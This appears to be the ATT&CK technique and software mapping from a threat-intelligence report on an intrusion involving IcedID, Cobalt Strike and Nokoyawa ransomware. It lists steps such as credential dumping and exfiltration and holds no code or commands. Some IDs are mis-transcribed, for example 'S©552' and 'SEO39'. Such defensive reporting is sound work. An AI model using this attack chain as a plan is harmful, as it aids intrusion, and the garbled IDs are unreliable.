7 zip

T1560.001 Archive Collected Data: Archive
via Utility
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S0483 IcedID
Command and Control S0154 Cobalt Strike
BackConnect VNC

T1071.001 Application Layer Protocol: Web
Protocols

T1105 Ingress Tool Transfer

T1102 Web Service

T1219 Remote Access Software

Exfiltration

T1041 Exfiltration Over C2 Channel

Nokoyawa Ransomware
S0029 PsExec

Impact

T1486 Data Encrypted for Impact

Access Token Manipulation: Token Impersonation/Theft - T1134.001
Account Discovery: Local Account - T1087.001

Account Discovery: Domain Account - T1087.002
Application Layer Protocol: Web Protocols - T1071.001
Command and Scripting Interpreter: Windows Command Shell - T1059.003
Command-Line Interface: PowerShell - T1059.001
Command-Line Interface: Visual Basic - T1059.005

Data Encrypted for Impact - T1486

Domain Trust Discovery - T1482

File and Directory Discovery - T1083

Indicator Removal on Host: File Deletion - T1070.004
Masquerading: Rename System Utilities - T1036.003
Phishing: Spearphishing Attachment - T1566.001

Process Injection - T1055

Remote Services: RDP - T1021.001

Remote Services: SMB/Windows Admin Shares - T1021.002
Remote System Discovery - T1018

Scheduled Task/Job: Scheduled Task - T1053.005

System Binary Proxy Execution: Rundll32 - T1218.011
System Network Configuration Discovery - T1016

Valid Accounts - T1078

WMI - T1047

Unsecured Credentials: Credentials In Files - T1552.001
User Execution: Malicious File - T1204.002

Remote Services: Windows Remote Management - T1021.006
Exfiltration Over C2 Channel - T1041

Archive Collected Data: Archive via Utility - T1560.001
Ingress Tool Transfer - T1105

Web Service - T1102

0S Credential Dumping: LSASS Memory - T1003.001

Remote Access Software - T1219

AdFind - S©552

IcedID - S0483
ipconfig - S0100

net - SEO39

nltest - S0359

ping - S0097
systeminfo - S0096
cmd - S0106

Cobalt Strike - S0154
PsExec - S0029

Internal case #18190
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